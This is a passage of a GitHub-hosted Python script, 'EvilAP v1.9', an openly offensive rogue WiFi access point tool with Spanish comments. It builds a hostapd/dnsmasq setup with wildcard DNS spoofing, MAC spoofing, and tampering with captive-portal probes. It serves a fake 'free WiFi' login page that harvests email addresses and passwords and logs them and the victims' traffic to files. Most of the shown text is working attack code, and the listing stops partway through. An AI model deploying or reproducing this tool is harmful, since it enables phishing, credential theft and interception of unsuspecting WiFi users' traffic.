-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathevilAP.py
More file actions
1818 lines (1664 loc) · 81.8 KB
/
evilAP.py
File metadata and controls
1818 lines (1664 loc) · 81.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# =============================================================================
# EvilAP v1.9
# Rogue AP + Captive Portal + DNS Spoof + Proxy HTTP Transparente
#
# FIXES v1.9:
# 1. DNS NUNCA va a 8.8.8.8 -- siempre pasa por dnsmasq local (tuyo)
# net_allow() ya NO inserta DNAT a 8.8.8.8
# 2. Proxy forward a USER_SRV correcto -- Flask/Nginx recibe TODO
# 3. Modo popup: probes SIEMPRE redirigen al portal (nunca respuesta OK)
# 4. URL personalizada respetada en TODOS los handlers del proxy
# 5. dnsmasq: sin upstream servers en modo wildcard (evita DNS real)
# 6. listen-address explÃcito para evitar conflictos de puerto 53
# 7. fix_dns_port() también mata NetworkManager
#
# Requiere: hostapd dnsmasq iw ip iptables openssl [arping]
# pip install prompt_toolkit
# =============================================================================
import os, sys, signal, subprocess, shutil, time, ipaddress
import argparse, threading, re, json, datetime, base64, ssl
from pathlib import Path
from urllib.parse import parse_qs, unquote_plus, urlparse
from http.server import HTTPServer, BaseHTTPRequestHandler
import http.client as _hc
try:
from prompt_toolkit import PromptSession
from prompt_toolkit.completion import NestedCompleter
from prompt_toolkit.patch_stdout import patch_stdout
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.styles import Style
from prompt_toolkit.history import InMemoryHistory
except ImportError:
print("[!] pip install prompt_toolkit"); sys.exit(1)
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
B = "\033[94m"; M = "\033[95m"; C = "\033[96m"; W = "\033[97m"
X = "\033[0m"; BD = "\033[1m"; DM = "\033[2m"
def banner():
os.system("clear")
print(f"""
______ _ _ ___ ____
| ____|_ __ (_)| | / _ \\ | _ \\
| _| \\ \\ / / | || || | | || |_) |
| |___ \\ V / | || || |_| || __/
|_____| \\_/ |_||_| \\___/ |_|
{C}+------[ Rogue AP + Portal + DNS Spoof v1.9 ]----+{X}
{W} hostapd | dnsmasq | proxy transparente | iptables {X}
{C}+------------------------------------------------+{X}
{Y}by Pygramer{X}
""")
# =============================================================================
# PATHS
# =============================================================================
TMP = Path("/tmp/evil_ap")
HOSTAPD_CONF = TMP / "hostapd.conf"
DNSMASQ_CONF = TMP / "dnsmasq.conf"
DNSMASQ_DYN = TMP / "dnsmasq_dynamic.conf"
DNSMASQ_LOG = TMP / "dnsmasq.log"
DNSMASQ_LEASE = TMP / "dnsmasq.leases"
IPTABLES_BAK = TMP / "iptables_backup.rules"
SSL_CERT = TMP / "portal.crt"
SSL_KEY = TMP / "portal.key"
SSL_CERT_CUSTOM = None
SSL_KEY_CUSTOM = None
_EXEC_DIR = Path(__file__).resolve().parent
CREDS_LOG = _EXEC_DIR / "credentials.txt"
CREDS_JSON = _EXEC_DIR / "credentials.json"
TRAFFIC_JSON = _EXEC_DIR / "traffic.json"
PROXY_PORT = 8888
# =============================================================================
# ESTADO GLOBAL
# =============================================================================
_lk_clients = threading.Lock()
_lk_creds = threading.Lock()
_lk_dns = threading.Lock()
_lk_watch = threading.Lock()
clients: dict = {}
all_creds: list = []
dns_spoof: dict = {}
_watch_subs: dict = {}
_id_to_ip: dict = {}
_ip_to_id: dict = {}
_next_id = 1
_lk_ids = threading.Lock()
CLIENT_ACTIVE_SECS = 90
proc_hostapd = None
proc_dnsmasq = None
proc_tcpdump = None
_proxy_server = None
_portal_server_https = None
AP_IFACE = None
GW_IP = "10.0.0.1"
NAT_IFACE = None
USER_SRV = None # host:port del servidor externo (Flask/Nginx)
PORTAL_DOMAIN = None
PORTAL_MODE = "dns"
_resolved_was_active = False
CRED_RE = re.compile(
r"(user(name)?|login|email|e-?mail|mail|usr|uname|account|"
r"pass(word|wd)?|passwd|pwd|secret|pin|token|auth|otp|"
r"phone|cel|mobile|tel|nip|code|key|hash)",
re.IGNORECASE
)
_RE_DNS = re.compile(
r'(\d{2}:\d{2}:\d{2})\s+dnsmasq\[\d+\]:\s+query\[([A-Z6]+)\]\s+(\S+)\s+from\s+([\d.]+)'
)
_RE_DHCP = re.compile(
r'(\d{2}:\d{2}:\d{2})\s+dnsmasq\[\d+\]:\s+DHCP\s+(ACK|OFFER)\(\S+\)\s+([\d.]+)\s+([\da-f:]+)(?:\s+(\S+))?'
)
_NOISY = frozenset([
"connectivitycheck","generate_204","gstatic.com","gvt2.com","gvt3.com",
"pool.ntp.org","safebrowsing","beacons","mtalk.google.com",
"msftconnecttest","captive.apple.com","detectportal.firefox.com",
"ocsp.","googleapis.com","apple.com","icloud.com",
])
# =============================================================================
# PROBE PATHS -- rutas de detección de captive portal por cada OS
#
# FIX v1.9 MODO DNS:
# En modo "dns" queremos que el OS crea que hay internet libre
# (para que NO muestre popup y el usuario navegue normalmente hacia el portal).
# -> respondemos con la respuesta "correcta" que el OS espera.
#
# FIX v1.9 MODO POPUP:
# En modo "popup" queremos que el OS detecte captive portal y muestre el popup.
# -> SIEMPRE redirigimos al portal, NUNCA damos la respuesta "correcta".
# -> El proxy maneja esto en _handle(): si PORTAL_MODE=="popup" -> redirect portal.
#
# Antes el código tenÃa los probes mezclados y en modo popup nunca redirigÃa
# correctamente porque _PROBE_OK se usaba en ambos modos.
# =============================================================================
_PROBE_OK = {
"/generate_204": (204, "", b""),
"/gen_204": (204, "", b""),
"/hotspot-detect.html": (200, "text/html", b"<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>"),
"/library/test/success.html": (200, "text/html", b"<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>"),
"/bag": (200, "text/html", b"<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>"),
"/connecttest.txt": (200, "text/plain", b"Microsoft Connect Test"),
"/ncsi.txt": (200, "text/plain", b"Microsoft NCSI"),
"/redirect": (200, "text/plain", b"Microsoft Connect Test"),
"/connectivity-check": (200, "text/plain", b""),
"/ubuntu-connectivity-check": (200, "text/plain", b""),
"/checkin.php": (200, "text/plain", b""),
}
_PROBE_PATHS = set(_PROBE_OK.keys())
# =============================================================================
# HTML DEL PORTAL CAUTIVO INTEGRADO
# =============================================================================
PORTAL_HTML = """\
<!DOCTYPE html><html lang="es"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>Portal WiFi</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;
background:linear-gradient(135deg,#0f0c29,#302b63,#24243e);
min-height:100vh;display:flex;align-items:center;justify-content:center}
.card{background:rgba(255,255,255,.07);backdrop-filter:blur(12px);
border:1px solid rgba(255,255,255,.12);border-radius:18px;
padding:40px 36px;width:90%;max-width:420px;color:#fff}
h2{text-align:center;font-size:1.5rem;margin-bottom:6px}
.sub{text-align:center;color:rgba(255,255,255,.55);font-size:.9rem;margin-bottom:28px}
label{display:block;font-size:.82rem;margin-bottom:6px;color:rgba(255,255,255,.7)}
input{width:100%;padding:11px 14px;border-radius:9px;border:1px solid rgba(255,255,255,.2);
background:rgba(255,255,255,.08);color:#fff;font-size:.95rem;margin-bottom:16px}
input::placeholder{color:rgba(255,255,255,.35)}
button{width:100%;padding:13px;border-radius:9px;border:none;
background:linear-gradient(90deg,#e94560,#c0392b);color:#fff;
font-size:1rem;font-weight:600;cursor:pointer;margin-top:4px}
.footer{text-align:center;font-size:.75rem;color:rgba(255,255,255,.3);margin-top:20px}
</style></head><body>
<div class="card">
<h2>🌐 WiFi Gratuito</h2>
<p class="sub">Inicia sesion para acceder a Internet</p>
<form method="POST" action="/login">
<label>Correo electronico</label>
<input type="email" name="email" placeholder="tu@correo.com" required>
<label>Contrasena</label>
<input type="password" name="password" placeholder="••••••••" required>
<button type="submit">Conectar</button>
</form>
<p class="footer">Al conectarte aceptas los terminos de uso</p>
</div></body></html>
"""
PORTAL_SUCCESS_HTML = """\
<!DOCTYPE html><html lang="es"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>Conectado</title>
<style>
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;
background:linear-gradient(135deg,#0f0c29,#302b63,#24243e);
min-height:100vh;display:flex;align-items:center;justify-content:center}
.card{background:rgba(255,255,255,.07);border:1px solid rgba(255,255,255,.12);
border-radius:18px;padding:40px 36px;width:90%;max-width:380px;color:#fff;text-align:center}
.icon{font-size:3rem;margin-bottom:16px}
h2{font-size:1.4rem;margin-bottom:8px}
p{color:rgba(255,255,255,.6);font-size:.9rem}
</style></head><body>
<div class="card">
<div class="icon">✅</div>
<h2>Conectado</h2>
<p>Ya tienes acceso a Internet.<br>Puedes cerrar esta ventana.</p>
</div></body></html>
"""
# =============================================================================
# UTILIDADES
# =============================================================================
def run(cmd, silent=False):
r = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if not silent and r.returncode != 0 and r.stderr.strip():
print(f"{R}[!]{X} {r.stderr.strip()[:120]}")
return r.returncode, r.stdout.strip(), r.stderr.strip()
def ts(fmt="%H:%M:%S"):
return datetime.datetime.now().strftime(fmt)
def ts_iso():
return datetime.datetime.now().isoformat(timespec="seconds")
def _valid_ip(v):
if not v: return None
try: ipaddress.ip_address(v); return v
except: return None
def _valid_mac(v):
return v if re.match(r'^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$', v) else None
def _since(ts_float):
secs = max(0, int(time.time() - ts_float))
if secs < 60: return f"{secs}s"
m = secs // 60; s = secs % 60
if m < 60: return f"{m}m {s:02d}s"
h = m // 60; m2 = m % 60
return f"{h}h {m2:02d}m"
def _is_active(info):
return (time.time() - info.get("last_seen_ts", 0)) < CLIENT_ACTIVE_SECS
def _init_client(ip):
if ip not in clients:
now = time.time()
clients[ip] = {
"connected_ts": now, "last_seen_ts": now,
"hostname": "", "mac": "", "os_guess": "",
"user_agents": [], "dns": [], "http": [], "https": [],
"creds": [], "headers": {}, "authed": False, "browsing": "",
}
_assign_id(ip)
def _assign_id(ip):
global _next_id
with _lk_ids:
if ip not in _ip_to_id:
_ip_to_id[ip] = _next_id
_id_to_ip[_next_id] = ip
_next_id += 1
def _resolve(arg):
if not arg: return None
s = arg.lstrip("#")
if s.isdigit():
with _lk_ids: return _id_to_ip.get(int(s))
return _valid_ip(arg)
def _portal_host():
return PORTAL_DOMAIN if PORTAL_DOMAIN else GW_IP
def _portal_url(path="/portal"):
return f"http://{_portal_host()}{path}"
def check_root():
if os.geteuid() != 0:
print(f"{R}[!] Requiere root{X}"); sys.exit(1)
def check_deps():
miss = [t for t in ["hostapd","dnsmasq","iw","ip","iptables","openssl"]
if not shutil.which(t)]
if miss:
print(f"{R}[!] Faltan: {', '.join(miss)}{X}")
print(f"{Y} apt install {' '.join(miss)}{X}"); sys.exit(1)
def _guess_os(ua):
ua = ua.lower()
for kw, name in [("android","Android"),("iphone","iOS"),("ipad","iPadOS"),
("windows","Windows"),("macintosh","macOS"),("linux","Linux"),
("cros","ChromeOS")]:
if kw in ua: return name
return ""
# =============================================================================
# WATCH
# =============================================================================
def _watch_notify(ip, line):
with _lk_watch:
cbs = list(_watch_subs.get(ip, []))
for cb in cbs:
try: cb(line)
except: pass
def _watch_subscribe(ip, cb):
with _lk_watch: _watch_subs.setdefault(ip, []).append(cb)
def _watch_unsubscribe(ip, cb):
with _lk_watch:
if ip in _watch_subs:
try: _watch_subs[ip].remove(cb)
except: pass
# =============================================================================
# ARP + LEASES
# =============================================================================
def _parse_leases():
for lf in [DNSMASQ_LEASE, Path("/var/lib/misc/dnsmasq.leases")]:
if not lf.exists(): continue
try:
for line in lf.read_text().splitlines():
parts = line.split()
if len(parts) < 4: continue
mac = parts[1]; ip = parts[2]
host = parts[3].strip('"\'') if parts[3] != "*" else ""
if not _valid_ip(ip): continue
with _lk_clients:
if ip in clients:
if mac and not clients[ip]["mac"]: clients[ip]["mac"] = mac
if host and not clients[ip]["hostname"]: clients[ip]["hostname"] = host
except: pass
def _arp_scan_loop():
has_arping = bool(shutil.which("arping"))
while True:
try:
rc, out, _ = run("ip neigh show", silent=True)
if rc == 0:
for line in out.splitlines():
m = re.match(r'([\d.]+)\s+dev\s+\S+\s+lladdr\s+([\da-f:]+)', line)
if m:
ip, mac = m.group(1), m.group(2)
with _lk_clients:
if ip in clients and not clients[ip]["mac"]:
clients[ip]["mac"] = mac
_parse_leases()
if has_arping:
with _lk_clients:
sin_mac = [ip for ip, c in clients.items() if not c["mac"]]
for ip in sin_mac:
rc2, out2, _ = run(
f"arping -c 1 -I {AP_IFACE} {ip} 2>/dev/null | grep '\\[' | head -1",
silent=True)
if rc2 == 0 and out2:
m2 = re.search(r'\[([\da-f:]{17})\]', out2, re.I)
if m2:
with _lk_clients:
if ip in clients: clients[ip]["mac"] = m2.group(1).lower()
except: pass
time.sleep(8)
def start_arp_scanner():
threading.Thread(target=_arp_scan_loop, daemon=True).start()
has = "si" if shutil.which("arping") else "no (apt install arping)"
print(f"{G}[+]{X} ARP scanner activo {DM}arping:{has}{X}")
# =============================================================================
# SELECCION DE INTERFAZ
# =============================================================================
def get_wifi_interfaces():
sysnet = Path("/sys/class/net")
names = sorted(p.name for p in sysnet.iterdir()
if (p/"wireless").exists() or (p/"phy80211").exists())
if not names:
_, out, _ = run("iwconfig 2>/dev/null", silent=True)
for line in out.splitlines():
if "IEEE 802.11" in line:
n = line.split()[0]
if n not in names: names.append(n)
_, iw_out, _ = run("iw dev", silent=True)
meta = {}; cur = {}
for line in iw_out.splitlines():
s = line.strip()
if s.startswith("Interface"):
if cur.get("n"): meta[cur["n"]] = cur
cur = {"n":s.split()[1],"type":"managed","ssid":None,"ch":None,"mac":None}
elif s.startswith("type") and cur: cur["type"] = s.split(None,1)[-1]
elif s.startswith("ssid") and cur: cur["ssid"] = s.split(None,1)[-1]
elif s.startswith("channel") and cur: cur["ch"] = s.split()[1]
elif s.startswith("addr") and cur: cur["mac"] = s.split()[1]
if cur.get("n"): meta[cur["n"]] = cur
result = []
for name in names:
info = meta.get(name, {})
op = Path(f"/sys/class/net/{name}/operstate")
state = op.read_text().strip() if op.exists() else "?"
mac = info.get("mac") or ""
if not mac:
af = Path(f"/sys/class/net/{name}/address")
mac = af.read_text().strip() if af.exists() else "??"
result.append({"name":name,"type":info.get("type","?"),
"ssid":info.get("ssid"),"ch":info.get("ch"),
"mac":mac,"state":state})
return result
def select_interface(preselected=None):
print(f"\n{C}[*] Detectando interfaces WiFi...{X}\n")
ifaces = get_wifi_interfaces()
if not ifaces:
print(f"{R}[!] No se encontraron interfaces WiFi{X}"); sys.exit(1)
print(f"{W} # INTERFAZ TIPO ESTADO SSID CH MAC{X}")
print(" " + "-"*80)
for i, f in enumerate(ifaces, 1):
sc = G if f["state"]=="up" else Y
pre = f"{C}{BD}" if (preselected and f["name"]==preselected) else W
print(f" {G}{i:<4}{X}{pre}{f['name']:<10}{X}{DM}{f['type']:<15}{X}"
f"{sc}{f['state']:<10}{X}{C}{(f.get('ssid') or '-'):<23}{X}"
f"{(f.get('ch') or '-'):<6}{DM}{f['mac']}{X}")
print()
if preselected and any(f["name"]==preselected for f in ifaces):
print(f"{G}[+]{X} Usando: {W}{preselected}{X}\n"); return preselected
if preselected:
print(f"{R}[!] '{preselected}' no encontrada{X}\n")
while True:
try:
c = int(input(f"{B}[?]{X} Selecciona [1-{len(ifaces)}]: "))
if 1 <= c <= len(ifaces): return ifaces[c-1]["name"]
except (ValueError, KeyboardInterrupt): pass
print(f"{R}[!] Invalido{X}")
# =============================================================================
# CONFIGURACION INTERACTIVA
# =============================================================================
def _ask(prompt, default="", ok=None):
while True:
raw = input(f"{B}[?]{X} {prompt} [{W}{default}{X}]: ").strip()
val = raw or default
if ok is None: return val
r = ok(val)
if r is not None: return r
print(f"{R}[!] Valor invalido{X}")
def configure_ap(args):
if args.ssid and args.channel and args.hw_mode and args.gateway:
return {"ssid":args.ssid,"password":args.password or None,
"channel":int(args.channel),"mode":args.hw_mode,"gateway":args.gateway}
print(f"\n{C}+------------------------------+\n CONFIGURACION DEL AP\n+------------------------------+{X}\n")
ssid = args.ssid or _ask("SSID", "FreeWiFi")
pwd = args.password or None
if not pwd and input(f"{B}[?]{X} Agregar contrasena WPA2? [s/N]: ").strip().lower() == "s":
while True:
p = input(f"{B}[?]{X} Password (min 8): ").strip()
if len(p) >= 8: pwd = p; break
print(f"{R}[!] Minimo 8{X}")
ch = args.channel or _ask("Canal (1-13)", "6",
ok=lambda v: int(v) if v.isdigit() and 1<=int(v)<=13 else None)
mode = args.hw_mode or _ask("Modo 802.11 [g/n]", "g",
ok=lambda v: v.lower() if v.lower() in ("g","n") else None)
gw = args.gateway or _ask("IP gateway", "10.0.0.1",
ok=lambda v: v if _valid_ip(v) else None)
return {"ssid":ssid,"password":pwd,"channel":int(ch),"mode":mode,"gateway":gw}
def _random_mac():
import random as _rnd
b = [_rnd.randint(0,255) for _ in range(6)]
b[0] = (b[0] & 0xFE) | 0x02
return ':'.join(f'{x:02x}' for x in b)
def configure_mac(iface, args):
af = Path(f"/sys/class/net/{iface}/address")
cur = af.read_text().strip() if af.exists() else "??"
if args.mac:
if args.mac == "keep": return cur
if args.mac == "random": return _random_mac()
if _valid_mac(args.mac): return args.mac
print(f"\n{C}+------------------------------+\n MAC SPOOFING\n+------------------------------+{X}\n")
print(f" MAC actual: {DM}{cur}{X}")
print(f" {G}1{X} Mantener {G}2{X} Aleatoria {G}3{X} Manual")
opt = _ask("Opcion", "1", ok=lambda v: v if v in ("1","2","3") else None)
if opt == "1": return cur
if opt == "2":
mac = _random_mac(); print(f" {G}[+]{X} MAC aleatoria: {W}{mac}{X}"); return mac
return _ask("MAC (XX:XX:XX:XX:XX:XX)", "de:ad:be:ef:00:01",
ok=lambda v: v if _valid_mac(v) else None)
def configure_nat(ap_iface, args):
if args.nat == "none": return {"enabled":False,"iface":None}
_, out, _ = run("ip route show default", silent=True)
uplinks = []
for line in out.splitlines():
p = line.split()
if "dev" in p:
d = p[p.index("dev")+1]
if d != ap_iface and d not in uplinks: uplinks.append(d)
if args.nat and args.nat in uplinks:
return {"enabled":True,"iface":args.nat}
if not uplinks:
print(f"{Y}[!] Sin uplinks. AP aislado.{X}")
return {"enabled":False,"iface":None}
print(f"\n{C}+------------------------------+\n INTERNET SHARING (NAT)\n+------------------------------+{X}\n")
print(f" {Y}Internet OFF para todos al conectar. 'allow <ip>' para dar acceso.{X}\n")
for i, u in enumerate(uplinks, 1):
op = Path(f"/sys/class/net/{u}/operstate")
st = op.read_text().strip() if op.exists() else "?"
print(f" {G}{i}{X} - {W}{u:<14}{X}[{G if st=='up' else Y}{st}{X}]")
print()
if input(f"{B}[?]{X} Configurar NAT? [S/n]: ").strip().lower() == "n":
return {"enabled":False,"iface":None}
chosen = uplinks[0]
if len(uplinks) > 1:
while True:
try:
c = int(input(f"{B}[?]{X} Uplink [1-{len(uplinks)}]: "))
if 1 <= c <= len(uplinks): chosen = uplinks[c-1]; break
except (ValueError, KeyboardInterrupt): pass
return {"enabled":True,"iface":chosen}
def configure_mode(args):
global PORTAL_MODE
if args.mode in ("popup","dns"):
PORTAL_MODE = args.mode; return args.mode
print(f"\n{C}+------------------------------+\n MODO DEL PORTAL\n+------------------------------+{X}\n")
print(f" {G}1{X} {W}DNS spoof{X} -- Sin popup. Mas transparente.")
print(f" {G}2{X} {W}Popup{X} -- Popup automatico al conectar (iOS/Android/Win).")
print()
opt = _ask("Modo", "1", ok=lambda v: v if v in ("1","2") else None)
PORTAL_MODE = "dns" if opt == "1" else "popup"
return PORTAL_MODE
def configure_portal_server(gw, args):
global USER_SRV
if args.portal_server:
USER_SRV = args.portal_server
print(f"{G}[+]{X} Servidor externo: {W}http://{USER_SRV}/{X}"); return
print(f"\n{C}+------------------------------+\n SERVIDOR DEL PORTAL\n+------------------------------+{X}\n")
print(f" {G}1{X} Portal integrado {DM}(HTML incluido en el script){X}")
print(f" {G}2{X} Mi propio servidor {DM}(Flask, Nginx... en otro puerto){X}\n")
opt = _ask("Opcion", "1", ok=lambda v: v if v in ("1","2") else None)
if opt == "2":
USER_SRV = _ask("Tu servidor [host:port]", f"{gw}:5000",
ok=lambda v: v if ":" in v and v.rsplit(":",1)[-1].isdigit() else None)
print(f"{G}[+]{X} Todo el HTTP -> {W}http://{USER_SRV}/{X}")
else:
USER_SRV = None
print(f"{G}[+]{X} Usando portal integrado")
def configure_portal_domain(gw, args):
global PORTAL_DOMAIN
if args.portal_domain:
PORTAL_DOMAIN = args.portal_domain.lower().strip()
print(f"{G}[+]{X} Dominio del portal: {W}http://{PORTAL_DOMAIN}/portal{X}"); return
print(f"\n{C}+------------------------------+\n DOMINIO DEL PORTAL\n+------------------------------+{X}\n")
print(f" Ejemplos: {W}wifi.free{X} {W}portal.hotel.com{X}")
print(f" Deja vacio para usar la IP {W}({gw}){X} directamente.\n")
raw = input(f"{B}[?]{X} Dominio [{W}Enter = usar IP{X}]: ").strip().lower()
PORTAL_DOMAIN = raw if raw else None
if PORTAL_DOMAIN:
print(f"{G}[+]{X} Portal URL: {W}http://{PORTAL_DOMAIN}/portal{X}")
else:
print(f"{G}[+]{X} Portal URL: {W}http://{gw}/portal{X} {DM}(IP directa){X}")
def configure_dns(gw, args):
spoof_ip = gw
if args.dns_mode:
mode_map = {"wildcard":"1","custom":"2","off":"3"}
return {"mode":mode_map.get(args.dns_mode,"1"),"spoof_ip":spoof_ip,"custom":{}}
print(f"\n{C}+------------------------------+\n DNS SPOOFING\n+------------------------------+{X}\n")
print(f" {G}1{X} Wildcard -- todos los dominios -> {W}{spoof_ip}{X}")
print(f" {G}2{X} Selectivo -- solo dominios que definas")
print(f" {G}3{X} Sin spoof -- DNS normal (solo registra)")
mode = _ask("Modo", "1", ok=lambda v: v if v in ("1","2","3") else None)
custom = {}
if mode == "2":
print(f"\n {Y}Dominios a spoofear (Enter = terminar):{X}")
while True:
d = input(f" + dominio: ").strip().lower()
if not d: break
custom[d] = spoof_ip
print(f" {C}{d}{X} -> {G}{spoof_ip}{X}")
with _lk_dns: dns_spoof.update(custom)
return {"mode":mode,"spoof_ip":spoof_ip,"custom":custom}
# =============================================================================
# DNSMASQ
#
# FIX v1.9:
# - listen-address explÃcito para evitar conflicto con systemd-resolved
# - Modo wildcard (1): SIN upstream servers -- dnsmasq responde él solo
# con address=/#/ sin hacer forward a 8.8.8.8 primero
# - Modo selectivo/off (2/3): CON upstream servers para dominios no spoofed
# =============================================================================
def write_hostapd_conf(iface, cfg):
wpa = (f"\nwpa=2\nwpa_passphrase={cfg['password']}\n"
f"wpa_key_mgmt=WPA-PSK\nrsn_pairwise=CCMP\n") if cfg["password"] else "auth_algs=1\n"
ht = "ieee80211n=1\nht_capab=[HT40][SHORT-GI-20][SHORT-GI-40]\n" if cfg["mode"]=="n" else ""
HOSTAPD_CONF.write_text(
f"interface={iface}\ndriver=nl80211\nssid={cfg['ssid']}\n"
f"hw_mode={cfg['mode']}\nchannel={cfg['channel']}\n"
f"macaddr_acl=0\nignore_broadcast_ssid=0\n{wpa}{ht}"
)
def _build_dns_lines(mode, spoof_ip, extra):
lines = f"address=/{PORTAL_DOMAIN}/{GW_IP}\n" if PORTAL_DOMAIN else ""
if mode == "1":
# Wildcard: TODOS los dominios -> portal IP
lines += f"address=/#/{spoof_ip}\n"
return lines # â FIX: solo esto, sin upstream
if mode == "2":
# Selectivo: solo dominios de captive portal checks + los del usuario
for d in ["connectivitycheck.gstatic.com","connectivitycheck.android.com",
"clients3.google.com","captive.apple.com","msftconnecttest.com",
"www.msftconnecttest.com","msftncsi.com","detectportal.firefox.com",
"nmcheck.gnome.org","network-test.debian.org"]:
lines += f"address=/{d}/{spoof_ip}\n"
for dom, ip in extra.items():
if f"address=/{dom}/" not in lines:
lines += f"address=/{dom}/{ip}\n"
return lines
def write_dnsmasq_conf(iface, ap_cfg, dns_cfg):
gw = ap_cfg["gateway"]
net = gw.rsplit(".",1)[0]
with _lk_dns:
DNSMASQ_DYN.write_text(_build_dns_lines(dns_cfg["mode"], dns_cfg["spoof_ip"], dict(dns_spoof)))
# FIX v1.9: upstream servers SOLO si NO es modo wildcard
# En wildcard, dnsmasq responde todo él solo sin consultar a nadie externo
if dns_cfg["mode"] == "1":
upstream = "" # â sin upstream en wildcard
else:
upstream = "server=8.8.8.8\nserver=1.1.1.1\n"
DNSMASQ_CONF.write_text(
f"interface={iface}\n"
f"listen-address={gw}\n" # â FIX: bind explÃcito
f"listen-address=127.0.0.1\n"
f"bind-interfaces\n"
f"except-interface=lo\n"
f"dhcp-range={net}.10,{net}.100,255.255.255.0,12h\n"
f"dhcp-option=3,{gw}\n"
f"dhcp-option=6,{gw}\n"
f"{upstream}"
f"no-resolv\nno-poll\n"
f"log-queries\nlog-dhcp\n"
f"log-facility={DNSMASQ_LOG}\n"
f"dhcp-leasefile={DNSMASQ_LEASE}\n"
f"conf-file={DNSMASQ_DYN}\n"
)
def reload_dnsmasq(dns_cfg):
global proc_dnsmasq
with _lk_dns:
DNSMASQ_DYN.write_text(_build_dns_lines(dns_cfg["mode"], dns_cfg["spoof_ip"], dict(dns_spoof)))
if proc_dnsmasq and proc_dnsmasq.poll() is None:
proc_dnsmasq.terminate()
try: proc_dnsmasq.wait(timeout=3)
except: pass
run("pkill -f 'dnsmasq.*evil_ap' 2>/dev/null", silent=True)
time.sleep(0.3)
proc_dnsmasq = subprocess.Popen(
["dnsmasq","-C",str(DNSMASQ_CONF),"--no-daemon"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
time.sleep(0.5)
ok = proc_dnsmasq.poll() is None
